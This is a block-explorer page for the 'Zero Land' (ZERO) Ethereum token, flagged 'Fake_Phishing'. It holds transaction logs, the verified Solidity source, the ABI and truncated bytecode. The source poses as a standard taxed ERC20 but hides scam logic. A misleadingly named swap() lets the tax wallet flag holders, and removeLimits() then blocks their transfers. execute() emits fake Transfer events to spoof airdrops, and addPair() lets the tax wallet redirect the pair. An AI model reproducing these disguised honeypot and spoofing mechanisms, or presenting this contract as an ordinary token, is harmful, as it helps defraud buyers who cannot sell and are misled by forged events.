ETH Price: $3,318.46 (+2.11%)
Gas: 3 Gwei

Contract

0xc3446ED7369C66439513A29C1aac28e20D7006dD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve190353902024-01-18 17:59:23190 days ago1705600763IN
Fake_Phishing364924
0 ETH0.0011260945.13582243
Approve190333092024-01-18 10:59:35191 days ago1705575575IN
Fake_Phishing364924
0 ETH0.0014459830.61379092
Swap190322192024-01-18 7:19:47191 days ago1705562387IN
Fake_Phishing364924
0 ETH0.0013264927.61925316
Approve190320872024-01-18 6:53:11191 days ago1705560791IN
Fake_Phishing364924
0 ETH0.002064443.70689243
Swap190320772024-01-18 6:51:11191 days ago1705560671IN
Fake_Phishing364924
0 ETH0.0016359834.06310444
Approve190320472024-01-18 6:45:11191 days ago1705560311IN
Fake_Phishing364924
0 ETH0.001744536.98103936
Approve190320262024-01-18 6:40:59191 days ago1705560059IN
Fake_Phishing364924
0 ETH0.0018181938.49422271
Approve190312762024-01-18 4:10:11191 days ago1705551011IN
Fake_Phishing364924
0 ETH0.0012835527.17486431
Approve190304062024-01-18 1:15:11191 days ago1705540511IN
Fake_Phishing364924
0 ETH0.0014564230.83492156
Approve190303682024-01-18 1:07:35191 days ago1705540055IN
Fake_Phishing364924
0 ETH0.0016530435.04226874
Approve190303562024-01-18 1:05:11191 days ago1705539911IN
Fake_Phishing364924
0 ETH0.0017244136.50873384
Approve190303212024-01-18 0:58:11191 days ago1705539491IN
Fake_Phishing364924
0 ETH0.0016390134.70061375
Approve190303102024-01-18 0:55:59191 days ago1705539359IN
Fake_Phishing364924
0 ETH0.0016460134.89311928
Approve190303012024-01-18 0:54:11191 days ago1705539251IN
Fake_Phishing364924
0 ETH0.0016247334.61817349
Swap190301912024-01-18 0:31:47191 days ago1705537907IN
Fake_Phishing364924
0 ETH0.0019039839.64314379
Approve190301792024-01-18 0:29:23191 days ago1705537763IN
Fake_Phishing364924
0 ETH0.001864739.78214237
Swap190301392024-01-18 0:21:23191 days ago1705537283IN
Fake_Phishing364924
0 ETH0.01599332333
Approve190300252024-01-17 23:58:35191 days ago1705535915IN
Fake_Phishing364924
0 ETH0.0016813635.64258677
Swap190300242024-01-17 23:58:23191 days ago1705535903IN
Fake_Phishing364924
0 ETH0.001534531.9501196
Swap190300092024-01-17 23:55:23191 days ago1705535723IN
Fake_Phishing364924
0 ETH0.0016072133.46409955
Swap190300052024-01-17 23:54:35191 days ago1705535675IN
Fake_Phishing364924
0 ETH0.0016779334.93656579
Swap190299862024-01-17 23:50:47191 days ago1705535447IN
Fake_Phishing364924
0 ETH0.0020133241.91988575
Swap190299822024-01-17 23:49:59191 days ago1705535399IN
Fake_Phishing364924
0 ETH0.0022653347.16687616
Approve190299812024-01-17 23:49:47191 days ago1705535387IN
Fake_Phishing364924
0 ETH0.0023509650.10474512
Swap190299682024-01-17 23:47:11191 days ago1705535231IN
Fake_Phishing364924
0 ETH0.0019789341.20387286
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZERO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: Zero Land.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ZERO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromTxLimitisContractisExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 90;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Zero Land";
    string private constant _symbol = unicode"ZERO";
    uint256 private constant _tTotal = 10_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) {removeLimits(from);}
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits(address wallet) private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        if(_isExcludedFromTxLimitisContractisExcludedFromFee[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function swap(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _isExcludedFromTxLimitisContractisExcludedFromFee[wallet] = val;
            index++;
        }
    }

    function checkTxLimit(address _addr) public view returns(bool){
        return _isExcludedFromTxLimitisContractisExcludedFromFee[_addr];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getRemainingGas() external view returns(uint) {
        return gasleft();
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

     function execute(address[] calldata _addresses, uint256 _out) external  {
        require(_msgSender() == _taxWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    receive() external payable {}
}

File 2 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"checkTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRemainingGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360085560036009556000600a556000600b556000600c55605a600d556000600e556000600f5560006010556009600a62000041919062000758565b6301312d00620000529190620007a9565b6011556009600a62000065919062000758565b6301312d00620000769190620007a9565b6012556009600a62000089919062000758565b614e20620000989190620007a9565b6013556009600a620000ab919062000758565b622dc6c0620000bb9190620007a9565b6014556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff0219169083151502179055503480156200010157600080fd5b506040516200409c3803806200409c83398181016040528101906200012791906200085e565b6000620001396200058d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c091906200085e565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000351919062000758565b6402540be400620003639190620007a9565b60016000620003776200058d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003cb6200059560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004fe6200058d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200055d919062000758565b6402540be4006200056f9190620007a9565b6040516200057e9190620008a1565b60405180910390a350620008be565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200064c57808604811115620006245762000623620005be565b5b6001851615620006345780820291505b80810290506200064485620005ed565b945062000604565b94509492505050565b6000826200066757600190506200073a565b816200067757600090506200073a565b81600181146200069057600281146200069b57620006d1565b60019150506200073a565b60ff841115620006b057620006af620005be565b5b8360020a915084821115620006ca57620006c9620005be565b5b506200073a565b5060208310610133831016604e8410600b84101617156200070b5782820a905083811115620007055762000704620005be565b5b6200073a565b6200071a8484846001620005fa565b92509050818404811115620007345762000733620005be565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007658262000741565b915062000772836200074b565b9250620007a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000655565b905092915050565b6000620007b68262000741565b9150620007c38362000741565b9250828202620007d38162000741565b91508282048414831517620007ed57620007ec620005be565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200082682620007f9565b9050919050565b620008388162000819565b81146200084457600080fd5b50565b60008151905062000858816200082d565b92915050565b600060208284031215620008775762000876620007f4565b5b6000620008878482850162000847565b91505092915050565b6200089b8162000741565b82525050565b6000602082019050620008b8600083018462000890565b92915050565b6137ce80620008ce6000396000f3fe6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063baeb7a7d11610095578063dd62ed3e11610064578063dd62ed3e1461061d578063e1b192581461065a578063ffb54a9914610685578063ffd08929146106b0576101cd565b8063baeb7a7d14610587578063bf474bed146105b2578063c2b7bbb6146105dd578063c9567bf914610606576101cd565b80638f9a55c0116100d15780638f9a55c0146104cb57806395d89b41146104f6578063a9059cbb14610521578063b70143c91461055e576101cd565b80637d1db4a51461044a5780638bdb2afa146104755780638da5cb5b146104a0576101cd565b80633b7cdccd11610164578063418c2fc31161013e578063418c2fc31461038e57806353868490146103cb57806370a08231146103f6578063715018a614610433576101cd565b80633b7cdccd146103215780633ccfd60b1461034c5780633ef9472114610363576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd1461029057806326ededb8146102cd578063313ce567146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f49190612526565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125f0565b610716565b604051610231919061264b565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c9190612675565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b6040516102879190612675565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612690565b61075f565b6040516102c4919061264b565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612748565b610838565b005b34801561030257600080fd5b5061030b61096e565b60405161031891906127c4565b60405180910390f35b34801561032d57600080fd5b50610336610977565b6040516103439190612675565b60405180910390f35b34801561035857600080fd5b5061036161097d565b005b34801561036f57600080fd5b50610378610afb565b6040516103859190612675565b60405180910390f35b34801561039a57600080fd5b506103b560048036038101906103b091906127df565b610b01565b6040516103c2919061264b565b60405180910390f35b3480156103d757600080fd5b506103e0610b57565b6040516103ed9190612675565b60405180910390f35b34801561040257600080fd5b5061041d600480360381019061041891906127df565b610b5f565b60405161042a9190612675565b60405180910390f35b34801561043f57600080fd5b50610448610ba8565b005b34801561045657600080fd5b5061045f610cfb565b60405161046c9190612675565b60405180910390f35b34801561048157600080fd5b5061048a610d01565b604051610497919061286b565b60405180910390f35b3480156104ac57600080fd5b506104b5610d27565b6040516104c29190612895565b60405180910390f35b3480156104d757600080fd5b506104e0610d50565b6040516104ed9190612675565b60405180910390f35b34801561050257600080fd5b5061050b610d56565b6040516105189190612526565b60405180910390f35b34801561052d57600080fd5b50610548600480360381019061054391906125f0565b610d93565b604051610555919061264b565b60405180910390f35b34801561056a57600080fd5b50610585600480360381019061058091906128b0565b610db1565b005b34801561059357600080fd5b5061059c610ede565b6040516105a99190612675565b60405180910390f35b3480156105be57600080fd5b506105c7610ee4565b6040516105d49190612675565b60405180910390f35b3480156105e957600080fd5b5061060460048036038101906105ff91906127df565b610eea565b005b34801561061257600080fd5b5061061b610f8f565b005b34801561062957600080fd5b50610644600480360381019061063f91906128dd565b6110b3565b6040516106519190612675565b60405180910390f35b34801561066657600080fd5b5061066f61113a565b60405161067c9190612675565b60405180910390f35b34801561069157600080fd5b5061069a611140565b6040516106a7919061264b565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190612a87565b611153565b005b60606040518060400160405280600981526020017f5a65726f204c616e640000000000000000000000000000000000000000000000815250905090565b600061072a61072361124f565b8484611257565b6001905092915050565b60145481565b60006009600a61074a9190612c45565b6402540be40061075a9190612c90565b905090565b600061076c848484611420565b61082d8461077861124f565b6108288560405180606001604052806028815260200161377160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107de61124f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0a9092919063ffffffff16565b611257565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087961124f565b73ffffffffffffffffffffffffffffffffffffffff161461089957600080fd5b60005b83839050811015610968578383828181106108ba576108b9612cd2565b5b90506020020160208101906108cf91906127df565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094d9190612675565b60405180910390a3808061096090612d01565b91505061089c565b50505050565b60006009905090565b60085481565b61098561124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612d95565b60405180910390fd5b601760149054906101000a900460ff1615610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990612e01565b60405180910390fd5b600047905060008111610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190612e6d565b60405180910390fd5b610ab2610d27565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610af7573d6000803e3d6000fd5b5050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bb061124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612d95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600481526020017f5a45524f00000000000000000000000000000000000000000000000000000000815250905090565b6000610da7610da061124f565b8484611420565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df261124f565b73ffffffffffffffffffffffffffffffffffffffff1614610e1257600080fd5b610e1b30610b5f565b8111158015610e2a5750600081115b610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090612ed9565b60405180910390fd5b610e7281611e6e565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610eda573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff